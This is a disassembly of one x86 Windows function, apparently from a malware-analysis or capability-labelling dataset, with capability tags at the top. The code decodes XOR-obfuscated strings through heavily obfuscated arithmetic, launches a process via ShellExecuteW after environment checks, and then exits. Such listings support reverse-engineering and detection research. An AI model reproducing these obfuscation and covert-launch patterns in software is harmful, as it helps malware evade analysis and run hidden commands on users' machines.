Function at 0x40ce60
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
call fcn.00440ef0
test al, al
je 0x40d113
mov dword [esp], 0x1716f20d
mov word [esp + 4], 0
mov byte [esp + 6], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 6
xor cl, byte [esp + eax]
add cl, 0xe2
mov byte [esp + eax], cl
inc eax
cmp eax, 7
jne 0x40ce90
mov eax, dword [esp]
mov esi, eax
not esi
mov ecx, eax
xor ecx, 0xc97ed9
mov edx, eax
or edx, 0xff368126
and edx, ecx
and esi, 0xc97ed9
mov edi, edx
not edi
and edi, esi
imul edi, edx
sub ecx, esi
or esi, edx
and edx, 0xc97ed9
imul edx, esi
add edx, edi
mov esi, eax
xor esi, 0xff368126
or eax, 0xc97ed9
and eax, esi
add ecx, 0xc97ed9
mov edi, ecx
not edi
and edi, eax
mov esi, eax
not esi
and esi, ecx
imul esi, edi
mov edi, ecx
and edi, eax
or ecx, eax
imul ecx, edi
add ecx, edx
add ecx, esi
mov edx, ecx
shr edx, 7
mov eax, edx
and eax, ecx
mov edi, eax
and edi, 2
mov esi, eax
or eax, 2
imul eax, edi
xor edi, 2
and esi, 0xfffffffd
imul esi, edi
sub eax, edx
add eax, esi
mov edx, ecx
not edx
and edx, eax
not eax
and eax, ecx
sub eax, edx
mov ecx, eax
and ecx, 0xb9fe1a8
mov edx, eax
not edx
or edx, 0xf4601e57
add edx, eax
inc edx
mov esi, eax
or eax, 0xb9fe1a8
imul eax, ecx
xor ecx, 0xb9fe1a8
mov edi, edx
not edi
and edi, ecx
or esi, 0xf4601e57
and esi, edx
imul esi, edi
mov edi, edx
or edi, ecx
add eax, esi
mov dword [esp], 0x6f74e2fd
mov word [esp + 4], 0
and ecx, edx
imul ecx, edi
mov edx, 0x8ddc5865
mov esi, 0x9a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx + 0x7223a79b]
lea ebx, [edi + edi]
not ebx
add ebx, edi
and ebx, edx
and edi, esi
or edi, ebx
mov ebp, edi
mov ebx, edi
xor ebx, 0x3ab24606
add ebx, edi
and edi, 0x8904006
and ebp, 0x854c18f9
sub ebx, ebp
mov ebp, ebx
and ebp, edi
xor edi, ebx
lea edi, [edi + ebp*2]
and ebx, 1
xor edi, 1
lea ebx, [edi + ebx*2]
mov byte [esp + edx + 0x7223a79b], bl
inc edx
dec esi
cmp edx, 0x8ddc586b
jne 0x40cfa0
add eax, ecx
cmp eax, dword [esp]
jne 0x40d0dc
mov dword [esp], 0x36f0163
mov dword [esp + 4], 0x7280560
mov dword [esp + 8], 0xb72096d
mov dword [esp + 0xc], 0xf2e0d69
mov dword [esp + 0x10], 0x1371113f
mov dword [esp + 0x14], 0x1514
xor eax, eax
mov ecx, 0xf66979ff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax]
mov esi, ecx
or esi, edx
not edx
or edx, eax
and edx, esi
mov esi, 0xfe
sub esi, edx
lea edi, [edx + 0x2ff09e01]
or edi, 1
sub edi, edx
xor esi, 1
lea edx, [esi + edi*2]
add dl, 0xfe
mov byte [esp + eax], dl
inc eax
dec ecx
cmp eax, 0x18
jne 0x40d040
mov dword [esp + 0x18], 0x910e9f0d
mov dword [esp + 0x1c], 0x950c9337
mov dword [esp + 0x20], 0x9794
mov word [esp + 0x24], 0
mov byte [esp + 0x26], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
and edx, 0xb
xor edx, 0x9b
mov ecx, eax
and ecx, 4
sub ecx, edx
xor cl, byte [esp + eax + 0x18]
add cl, 7
mov byte [esp + eax + 0x18], cl
inc eax
cmp eax, 0xf
jne 0x40d0a0
mov eax, esp
lea ecx, [esp + 0x18]
push 5
push 0
push eax
push 0x44a3da
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00438900
test al, al
je 0x40d10e
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.USER32.dll_GetInputState]
test eax, eax
je 0x40d0fb
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.0040dfd0
test al, al
je 0x40d10e
call fcn.00410ae0
call fcn.0040f6d0
call fcn.00442120
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]